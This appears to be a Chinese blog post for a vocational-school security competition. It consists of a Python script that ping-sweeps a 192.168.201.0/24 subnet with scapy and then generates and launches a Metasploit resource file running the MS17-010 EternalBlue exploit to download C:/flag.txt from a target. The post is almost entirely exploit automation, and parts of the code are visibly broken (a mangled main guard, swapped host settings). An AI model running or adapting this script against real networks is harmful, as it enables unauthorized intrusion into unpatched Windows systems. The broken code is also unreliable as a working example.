中职网络安全 MSF 漏洞 自动利用脚本 Python C模块

import os

import ipaddress

import queue

import socket

import threading

import random

from scapy.layers.inet import IP,ICMP,sr1

q = queue.Queue()

q2 = queue.Queue()

port = 1000

def get_ip(host):

ip = ipaddress.ip_network(host).hosts()

for i in ip:

q.put(str(i))

def host_Scanner():

while True:

if q.empty():

break

ip = q.get()

a = IP(dst=ip) / ICMP() / bytes(str(random.randint(0,255) for _ in range(10)),encoding='utf-8')

b = sr1(a,verbose=False,timeout=3)

if b:

q2.put(ip)

def Handler(configFile,lhost,lport,rhost):

configFile.write('use exploit/windows/smb/ms17_010_eternalblue\n')

configFile.write('set LPORT ' + str(lport) + '\n')

configFile.write('set LHOST ' + str(lhost) + '\n')

configFile.write('set RHOST ' + str(rhost) + '\n')

configFile.write('exploit\n')

configFile.write('download C:/flag.txt ./' + '\n')

configFile.write('exit\n')

def main():

global port

if q2.empty():

return

configFile = open('ms17_010.rc', 'w')

lhost = q2.get()

lport = str(port)

rhost = '192.168.201.169'

Handler(configFile, lhost, lport, rhost)

configFile.close()

os.system('msfconsole -r ms17_010.rc')

print(f'+ ip=>{lhost} is open ms17_010')

port += 5

if name == 'main':

file = open('ip.txt','w')

get_ip('192.168.201.0/24')

f = \[\]

for i in range(50):

t = threading.Thread(target=host_Scanner)

t.start()

f.append(t)

for i in f:

i.join()

for i in range(2):

t = threading.Thread(target=main)

t.start()

相关推荐
金銀銅鐵9 小时前
[Python] 从《千字文》中随机挑选汉字
后端·python
cup1113 小时前
[技术复盘] Windows Python 打包实战:Nuitka 环境踩坑总结与 CI 自动化构建全指南
python·ai·环境变量·ci·nuitka·skill
aqi0015 小时前
15天学会AI应用开发(七)有了大模型为什么还要引入RAG
人工智能·python·大模型·ai编程·ai应用
金銀銅鐵17 小时前
用 Python 实现 Take-Away 游戏
python·游戏
copyer_xyf18 小时前
Agent 流程编排
后端·python·agent
copyer_xyf18 小时前
Agent RAG
后端·python·agent
copyer_xyf18 小时前
【RAG】向量数据库:milvus
后端·python·agent
copyer_xyf19 小时前
Agent 记忆管理
后端·python·agent
星云穿梭1 天前
用Python写一个带图形界面的学生管理系统——完整教程
python